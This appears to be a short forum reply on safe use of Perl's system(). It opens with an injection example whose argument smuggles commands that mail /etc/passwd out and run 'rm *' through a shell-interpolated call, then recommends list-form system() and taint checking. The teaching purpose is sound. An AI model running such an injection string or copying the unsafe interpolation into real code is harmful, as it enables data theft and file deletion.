bad_system('foo; mail me@me.com < /etc/passwd; rm *');
sub bad_system {
    my $password = shift;
    system("echo $password | foo -args file");
}
#Uh oh!
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Please use system() in a safe manner. The way you show here can allow for arbitrary commands to be run. Use in this way:

system("/bin/echo", "arg1", "arg2");
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It is also a good idea to use -T and untaint data before using in a system() command. But, this way of using system() is more secure, and won't use sh. Refer to perldoc -f system and perldoc perlsec

Cheers,
KM